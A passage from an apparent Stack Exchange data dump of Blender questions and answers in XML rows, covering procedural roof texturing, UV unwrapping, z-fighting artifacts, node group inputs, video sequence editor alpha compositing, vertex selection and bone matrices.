&lt;kbd&gt;RMB&lt;/kbd&gt; the two verts&lt;/li&gt;&#xA;&lt;li&gt;Side View (ortho)&lt;/li&gt;&#xA;&lt;li&gt;&lt;kbd&gt;G&lt;/kbd&gt; to grab, then &lt;kbd&gt;Z&lt;/kbd&gt; to select Z axis.&lt;/li&gt;&#xA;&lt;li&gt;Move up or down for correct angle.&lt;/li&gt;&#xA;&lt;li&gt;Press &lt;kbd&gt;LMB&lt;/kbd&gt; to set.&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;Set face by selecting the four (4) verts of the spoiler, pressing &lt;kbd&gt;F&lt;/kbd&gt; make face.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Of course, you'd have to remove some faces if you want to see through the wing that made the spoiler, and put in some machinery; but, that's another question.&lt;/p&gt;&#xA;" OwnerUserId="14243" LastEditorUserId="1245" LastEditDate="2015-06-23T13:21:28.517" LastActivityDate="2015-06-23T13:21:28.517" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31236" PostTypeId="2" ParentId="31196" CreationDate="2015-05-21T09:01:48.667" Score="9" Body="&lt;p&gt;At least 3 ways to approach this.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;fully procedural&lt;/li&gt;&#xA;&lt;li&gt;fully textured&lt;/li&gt;&#xA;&lt;li&gt;mix procedural and texture.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My interests lie mainly with procedural. An approach involves literally stacking piles of noise textures ontop of eachother and masking out parts using other noise textures with large scale to get the patchy-ness. Then if it's too cloudy and wishy washy use a contrast node to get sharper edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a starter get your head around a small setup like this &lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 1:&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/hLV6C.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/233/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=233&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Really analyse what you like about the real-life roof top, what makes it pop for you. Write down the keywords, think about why those features are there and are they related to the surrounding architectural features? like drainage, seepage, repair work, shelter from the elements..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use the &lt;em&gt;Position socket&lt;/em&gt; of the &lt;em&gt;Geometry node&lt;/em&gt;, to push the Noise Texture along in space by a given &lt;em&gt;Vector&lt;/em&gt; until it matches up with something that appeals to you.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 2, patchier!&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;RGB Curves&lt;/em&gt; node allows you to weave in and out of a colour gradient. I'm leaving the colours visible to show where they come from.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FCFT8.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/234/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=234&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Step 3 details&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;mixing and masking,  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/7JtIc.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here the &lt;em&gt;Color Ramp&lt;/em&gt; node is also used to flip colour ranges, to give the effect of dried up puddles of gunk with residue on the edges.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/235/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=235&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;more noise layers.. Using the &lt;em&gt;Vector Combine&lt;/em&gt; node lets you cycle through the 3d space of the node texture, and you will see many crazy shapes but occasionally a few features that seem to somehow fit with the geometry. If you have a lot of distortion going on in one section of the noise texture, shift the x,y,z until it gives more appealing visuals. There's no science to this, just experimentation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/toT1m.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/236/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=236&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;Masking&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;So far all 4 or 5 noise textures get piped into one node (the Difference node) before it hits the shader. From here on it gets complex and you might start to experiment with node groups to keep the various layers separate (conceptually), and mix them together using large scale Noise textures to allow for big sections of one texture and more abrupt transitions to the output of a different node group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here I've gone back to creating a mask using a Noise Texture node, it shows how one might mix two colours as a function of Noise. In the example I picked flat RGB colours to show what effect the mixing has on blanket colours, but if you stick elaborate grungy &quot;color ends points&quot; in there it will start to approach what you are looking for. Making the mask is arguably easier to do manually, but keeping it procedural avoids the headache of raster resolution.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ODNtX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And here the many layered noise (converted to a Node Group with a colour output) is inserted as one of the colour sources. The other is still blue, but you can probably imagine that another Node group could be created to do the colouring of that section.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2gaOB.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's possible to get very creative with masking, and various Texture types to arrive at local features which seem to be caused by the architecture.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Keep masking out Textural features until you feel you could be spending your time doing something more productive :)&#xA;&lt;img src=&quot;https://i.stack.imgur.com/jU6gE.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hopefully this gives some ideas, it wasn't intended to be a tutorial. And this doesn't even get into the 3d aspect of texturing..  the gritty-ness of the surface, the bumpyness of certain parts, the faint depressions, the interuptions in materials. If a roof is done with two different batches of roofing there can be big colour differences.&lt;/p&gt;&#xA;" OwnerUserId="47" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-05-21T12:00:10.810" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31237" PostTypeId="1" CreationDate="2015-05-21T09:32:50.170" Score="5" ViewCount="1183" Body="&lt;p&gt;Is there any possible technique to achieve a straight UV unwrap with seams? I have been trying to make it all vertical so it is a lot easier to texture , But in the end result the texture it always rotated randomly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/riwUV.jpg&quot; alt=&quot;Image&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="3710" LastEditDate="2015-05-21T10:04:58.083" LastActivityDate="2015-05-22T12:16:03.967" Title="Straight UV maps?" Tags="&lt;texturing&gt;&lt;uv&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31238" PostTypeId="1" CreationDate="2015-05-21T09:44:15.893" Score="0" ViewCount="111" Body="&lt;p&gt;A couple days ago I decided to try Blender. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Why on screen do some faces have a different color and some &quot;scratches&quot;? How do I make all of the 3d model one color?&lt;/li&gt;&#xA;&lt;li&gt;And after rendering I have some artifacts (see screenshot). What is the reason of this?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Y9WQ7.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14476" LastEditorUserId="241" LastEditDate="2015-05-21T10:13:21.013" LastActivityDate="2015-05-21T14:47:53.977" Title="Model is multiple colors and renders with artifacts" Tags="&lt;modeling&gt;&lt;rendering&gt;" AnswerCount="2" CommentCount="1" ClosedDate="2015-05-21T14:56:20.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="31239" PostTypeId="2" ParentId="31238" CreationDate="2015-05-21T09:47:16.457" Score="2" Body="&lt;p&gt;There are many different reasons, a few fixes:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;In edit mode, Press &lt;kbd&gt;A&lt;/kbd&gt; until everything has been selected. Press &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;N&lt;/kbd&gt;, This re-calculates normals and corrects them.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Press &lt;kbd&gt;T&lt;/kbd&gt; Inside the 3D view, and on the left you should see a button that says &quot;Remove Doubles&quot;, click that and it could possibly fix your problem. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1829" LastEditorUserId="241" LastEditDate="2015-05-21T10:09:05.627" LastActivityDate="2015-05-21T10:09:05.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31240" PostTypeId="2" ParentId="31237" CreationDate="2015-05-21T10:47:52.060" Score="5" Body="&lt;p&gt;Hard surfaces are something that Blender's automatic unwraps don't do well sadly, although this can also partly be attributed to your seams.  Its hard to tell without a higher quality image, but as the auto-unwrap tries to minimise stretching, it seems that your lack of seams force it to bend disproportionately.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its hard to suggest where specifically you need to place seams due to the viewport angle of your 3D model, but try placing them around the corners and underneath the mesh so the side-facing areas don't have to bend as much to reduce stretching.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you can use &lt;kbd&gt;u&lt;/kbd&gt; &lt;strong&gt;&lt;em&gt;Unwrap-&gt;Project From View&lt;/em&gt;&lt;/strong&gt; on specific areas of the map to get a bend-free UV map.&#xA;If you select one face on the right side of the model and press &lt;kbd&gt;Shift&lt;/kbd&gt;+&lt;kbd&gt;g&lt;/kbd&gt; you can use &lt;strong&gt;&lt;em&gt;Select Similar-&gt;Normal&lt;/em&gt;&lt;/strong&gt; to select all the other faces that are facing in the same direction as the one you already selected, all faces on the right side should  be selected.  Now you can use the keyboard number pad buttons to enter the appropriate Ortho view then use Project From View.&lt;/p&gt;&#xA;" OwnerUserId="8435" LastEditorUserId="1448" LastEditDate="2015-05-22T12:16:03.967" LastActivityDate="2015-05-22T12:16:03.967" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31241" PostTypeId="1" AcceptedAnswerId="31242" CreationDate="2015-05-21T12:06:44.007" Score="7" ViewCount="3701" Body="&lt;p&gt;I'm using Blender 2.74 and trying to follow an online video tutorial on creating &quot;sun&quot; (presenter is using version 2.63). The problem I'm facing is that the presenter just selected a few nodes in the Nodes Editor and pressed &lt;kbd&gt;Ctrl&lt;/kbd&gt; + &lt;kbd&gt;G&lt;/kbd&gt; to group those nodes. Then he pressed &lt;kbd&gt;TAB&lt;/kbd&gt; to edit the group and remove some of the input sockets of the &lt;strong&gt;GroupInput&lt;/strong&gt; node by clicking the cross button in front of those sockets. Now I do not see these cross buttons in my version of Blender. I tried using Properties window too (&lt;kbd&gt;N&lt;/kbd&gt; key) but that also doesn't allow removing (although it does allow adding, renaming and reordering). Can anyone help me with this?&lt;/p&gt;&#xA;" OwnerUserId="14271" LastActivityDate="2020-12-21T23:19:59.870" Title="How to remove one of the group inputs" Tags="&lt;nodes&gt;&lt;groups&gt;" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31242" PostTypeId="2" ParentId="31241" CreationDate="2015-05-21T12:25:49.197" Score="16" Body="&lt;p&gt;Figured it out at last. Select the group input node and press &lt;kbd&gt;N&lt;/kbd&gt; key to bring up Properties window. You can then use the cross button next to the node label that appears immediately below the inputs and outputs list. Here's a snapshot:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/X2zgL.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14271" LastActivityDate="2015-05-21T12:25:49.197" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31243" PostTypeId="1" CreationDate="2015-05-21T13:35:10.063" Score="2" ViewCount="2948" Body="&lt;p&gt;I've rendered about 300 frames for a short clip. The frames look fine, but when I compile into a movie all I get is a black screen. I haven't been able to find anything to solve this problem. The individual frames are well lit, capture what I want them to, look great. Just creating the AVI or MPEG results in a clip that has nothing but black.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/iuOHH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/VJZsX.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HLWwa.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14108" LastEditorUserId="14108" LastEditDate="2015-05-21T15:25:27.600" LastActivityDate="2020-01-02T18:23:29.127" Title="Black screen when creating movie" Tags="&lt;animation&gt;&lt;blender-internal-render-engine&gt;" AnswerCount="2" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
  <row Id="31244" PostTypeId="1" CreationDate="2015-05-21T13:38:19.320" Score="5" ViewCount="3407" Body="&lt;p&gt;A png image to be used for background.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A video sequence of numbered png files ( which were rendered in Blender with alpha.) is to be the foreground.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Selected backgound png, then video sequence, add effect strip alpha over. No background visible. (Tried every combination I could think of. If use alpha over the background is the only image visible. Use alpha under the foreground is only image visible.  display is sRGB) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tried with single .png file as forground. Same results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am wondering if the video sequenced pngs have lost the alpha channel. On the video display there is no checkerboard as there was within the 3d scene for the background. (The black part of the video looks solid black on the display rather than checkerboard)&lt;/p&gt;&#xA;" OwnerUserId="11281" LastActivityDate="2015-05-21T15:08:58.520" Title="VSE-Background image behind foreground video. Alpha over, alpha under don't work" Tags="&lt;video-sequence-editor&gt;&lt;transparency&gt;" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31245" PostTypeId="2" ParentId="31166" CreationDate="2015-05-21T13:57:54.217" Score="4" Body="&lt;p&gt;If the point where you want to use as the centre does not coincide with a vertex there are two ways:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 Extend a vertex to the point you want, &#xA;then move the cursor to that point, (shift s)&#xA;then move centre to cursor (in object mode on left side panel)&#xA;(then delete the vertex)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use side panel 'n' to &#xA;set the position of the cursor typing in co-ordinates or by using the slider bar.  Holding &lt;kbd&gt;Shift&lt;/kbd&gt; while using a slider to change values will slow the rate of change so more precise movements can be achieved.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/fvXud.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="11281" LastEditorUserId="1448" LastEditDate="2015-05-25T23:51:32.377" LastActivityDate="2015-05-25T23:51:32.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31246" PostTypeId="2" ParentId="31225" CreationDate="2015-05-21T14:11:10.080" Score="4" Body="&lt;p&gt;Have you looked into example .blend files for using textured strokes?  If not, try a couple of example .blend files available within the Blender 2.71 release log you cited, i.e.:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/lmjXj.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/File:Teapot_pencil.blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/File:Teapot_pencil.blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/HvVmL.jpg&quot; alt=&quot;enter image description here&quot;&gt;&#xA;&lt;a href=&quot;http://wiki.blender.org/index.php/File:Mouse.Blend&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://wiki.blender.org/index.php/File:Mouse.Blend&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Start from one of these existing line styles for textured strokes, and customize it with your texture PNG image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt; In reply to the updated question (22 May 2015)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Freestyle textured strokes always use a texture image as non-overlapping tiles repeated along stroke.  Internally, textured strokes in Freestyle are rendered using UV texture mapping (that is a general functionality of Blender).  Freestyle strokes have its own UV coordinates along stroke to map a 2D point in a texture image on to another point in the 2D stroke space.  This means that the texture image cannot be mapped in such a way that one tile overlaps on top of another.  (I guess this is a general limitation of UV texture mapping.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe you need to rely on other Freestyle options to achieve what you are intended to do.  How about using the Calligraphy thickness modifier instead?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/dxx2E.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1561" LastEditorUserId="1561" LastEditDate="2015-05-22T09:03:28.207" LastActivityDate="2015-05-22T09:03:28.207" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="31247" PostTypeId="2" ParentId="31244" CreationDate="2015-05-21T14:19:41.893" Score="4" Body="&lt;p&gt;Your PNGs were probably not exported with the alpha channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Make sure you export the PNGs as RGBA&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/AudbQ.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To check if  your image has an alpha channel load it in the UV/Image editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An image with alpha channel will look like this, with a checker pattern on the alpha:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/ArSY4.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An image with no alpha channel will not show that pattern, but a solid color:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/cUiXm.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To make the alpha channel transparent on the VSE, select the strip with the pngs, presss &lt;kbd&gt;N&lt;/kbd&gt; to make the panel visible, and in the blend type select alpha over.&#xA;&lt;img src=&quot;https://i.stack.imgur.com/y3Tdp.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorDisplayName="user1853" LastEditDate="2015-05-21T15:08:58.520" LastActivityDate="2015-05-21T15:08:58.520" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31248" PostTypeId="1" AcceptedAnswerId="31250" CreationDate="2015-05-21T14:23:43.643" Score="2" ViewCount="342" Body="&lt;p&gt;I've imported an stl into blender, and I'm trying to create morph targets. For some reason, when I go into edit mode, I can't select the vertex. When I click the window it just moves the crosshair with a circle thing aroud, but does not actually select a vertex. What am I doing wrong ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/y9iGH.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14510" LastActivityDate="2015-05-21T14:49:23.897" Title="How do I select a vertex in edit mode" Tags="&lt;animation&gt;&lt;vertices&gt;&lt;shape-keys&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31249" PostTypeId="2" ParentId="31209" CreationDate="2015-05-21T14:26:07.427" Score="4" Body="&lt;p&gt;In the graph editor and dopesheet you can press &lt;kbd&gt;I&lt;/kbd&gt; to insert a keyframe just like in the 3dview. You will get a menu to choose between all or selected channels.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the graph editor with a key selected you can press &lt;kbd&gt;G&lt;/kbd&gt; to move it, also pressing &lt;kbd&gt;Y&lt;/kbd&gt; will keep it locked to the frame so you only change the value. You can drag an existing key with the mouse to adjust it's value, the drawback of using the mouse is you need to drag the mouse some distance to start the movement, at which time the key snaps to the mouse location making small accurate adjustments hard without the keyboard.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you select a key in the graph editor you can move it more precisely using the keyboard eg. &lt;kbd&gt;G&lt;/kbd&gt;&lt;kbd&gt;Y&lt;/kbd&gt;&lt;kbd&gt;.5&lt;/kbd&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You also have the properties panel &lt;kbd&gt;N&lt;/kbd&gt; in the graph editor that shows the frame and value of the active key, you can use the mouse to drag the value slider.&lt;/p&gt;&#xA;" OwnerUserId="935" LastEditorUserId="3710" LastEditDate="2015-05-21T15:47:14.247" LastActivityDate="2015-05-21T15:47:14.247" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="31250" PostTypeId="2" ParentId="31248" CreationDate="2015-05-21T14:44:15.777" Score="6" Body="&lt;p&gt;You're left-clicking.  Blender uses &lt;em&gt;Right-Click&lt;/em&gt; to select. if you don't like this, you can change it in your user preferences (&lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;Alt&lt;/kbd&gt;+&lt;kbd&gt;U&lt;/kbd&gt;), though there are some advantages to just getting used to it so you can follow what everyone else is doing with Blender.&lt;/p&gt;&#xA;" OwnerUserId="14501" LastEditorUserId="3710" LastEditDate="2015-05-21T14:49:23.897" LastActivityDate="2015-05-21T14:49:23.897" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31251" PostTypeId="2" ParentId="31238" CreationDate="2015-05-21T14:47:53.977" Score="1" Body="&lt;p&gt;The explanations on how to fix this are probably correct, but here's intuition for WHY it's happening.  Likely, you have accidentally duplicated your original object, but left the duplicate in the exact same location as the original.  This means that the faces are &quot;fighting&quot; with each other for visibility (as faces are infinitesimally thin, only one face can prevail.  However Blender doesn't know &lt;em&gt;which&lt;/em&gt; face prevails) and so that's where you see the artifacts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe this is referred to as &quot;z-fighting&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Deleting the duplicated object will probably fix your issue.&lt;/p&gt;&#xA;" OwnerUserId="14501" LastActivityDate="2015-05-21T14:47:53.977" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="31253" PostTypeId="2" ParentId="31243" CreationDate="2015-05-21T16:24:48.357" Score="2" Body="&lt;p&gt;It looks like your render layers are good.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the start/end clip on your camera object?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have any strips in the VSE they can confuse things (always use a separate Scene for 3D versus VSE).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your screenshots appear to clip off the right side of the outliner where the camera icon indicates whether the object is rendered or not.  Check that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Throw in a cube 2 units in front of the camera and make sure that appears.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It is preferred practice to render your animation to a sequence of stills and encode them into an animation in a separate step (either using blender's VSE or ffmpeg).  It seems you're going straight from 3d model to AVI which would make it hard to interrupt and resume your render.  While that's no big deal on short simple animations, it really becomes important when you have a 1600 frame animation where each frame takes 3.5 minutes to render on your laptop.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If all else fails you can upload your .blend file to &lt;a href=&quot;http://pasteall.org/&quot; rel=&quot;nofollow&quot;&gt;pasteall.org&lt;/a&gt; and ask IRC #blender for help.  Make sure the answer gets posted here for you to accept.&lt;/p&gt;&#xA;" OwnerUserId="660" LastActivityDate="2015-05-21T16:24:48.357" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31254" PostTypeId="1" CreationDate="2015-05-21T16:40:38.377" Score="6" ViewCount="558" Body="&lt;p&gt;I'm looking into implememting skeleton animations. I use Blender to create the armatures, export them using the IQM file format (Inter Quake Model). &#xA;My first steps are to make sure that I'm getting the right values in my openGL application. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I created a very basic model in blender:&#xA;&lt;img src=&quot;https://i.stack.imgur.com/MhFmT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I print the local matrix of the root bone in Blender I see:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;gt;&amp;gt;&amp;gt; bpy.data.armatures[0].bones[0].matrix_local&#xA;&#xA;Matrix(((1.0, 0.0,  0.0, 0.0),&#xA;        (0.0, 0.0, -1.0, 0.0),&#xA;        (0.0, 1.0,  0.0, 0.0),&#xA;        (0.0, 0.0,  0.0, 1.0)))&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which seems to be a 90º rotation around the X-axis. &#xA;&lt;strong&gt;Why does the matrix_local of this particular bone given me a 90º rotation around the X-axis?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another question I have is, when I convert this matrix to a quaternion in Blender,&#xA;I get &lt;code&gt;(0.7071068286895752, 0.7071068286895752, 0.0, 0.0)&lt;/code&gt;&#xA;(w,x,y,z). Though when I create my own quaternion with a 90º rotation around X, I also get &lt;code&gt;(0.707107, 0.707107, 0.000000, 0.000000)&lt;/code&gt; (wxyz), though when I convert that back to a matrix using my own math lib, I get:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1.00,  0.00,  0.00,  0.00&#xA;0.00,  0.00,  1.00,  0.00&#xA;0.00, -1.00,  0.00,  0.00&#xA;0.00,  0.00,  0.00,  1.00 &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It would be great if someone could clarify this a bit!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14512" LastActivityDate="2015-05-24T05:57:01.277" Title="Clarifying Blender skeleton animation and OpenGL" Tags="&lt;game-engine&gt;&lt;rigging&gt;&lt;mathematics&gt;" AnswerCount="1" CommentCount="11" FavoriteCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="31255" PostTypeId="1" CreationDate="2015-05-21T17:03:04.203" Score="12" ViewCount="6382" Body="&lt;p&gt;Is there any way to get blender to render on systems without a GUI?  Over the network on systems with a GUI?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know of a service that will let you buy virtual servers that are charged by the hour, not the month, allowing to purchase extra performance on demand very cheaply!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The question itself is OS-agnostic, but in this case you can essentially respond in a any OS you would like.&lt;/p&gt;&#xA;" OwnerUserId="2226" LastEditorUserId="55" LastEditDate="2015-06-21T03:35:05.347" LastActivityDate="2020-03-13T12:36:35.367" Title="Can Blender Render on Systems without a GUI?" Tags="&lt;rendering&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="31256" PostTypeId="1" AcceptedAnswerId="31313" CreationDate="2015-05-21T17:09:16.567" Score="4" ViewCount="470" Body="&lt;p&gt;I would want that backside selected only by border select  and lasso, but not mouse click. &#xA;I would like that mouse click does not select backside faces. Only lasso and border selection would do it. Is it possible to do?&#xA;&lt;img src=&quot;https://i.stack.imgur.com/mNyMP.jpg&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="14513" LastEditorUserId="14513" LastEditDate="2015-05-22T18:47:21.110" LastActivityDate="2015-05-22T23:13:07.960" Title="backside selected only by border select and lasso, but not mouse click" Tags="&lt;python&gt;&lt;scripting&gt;&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
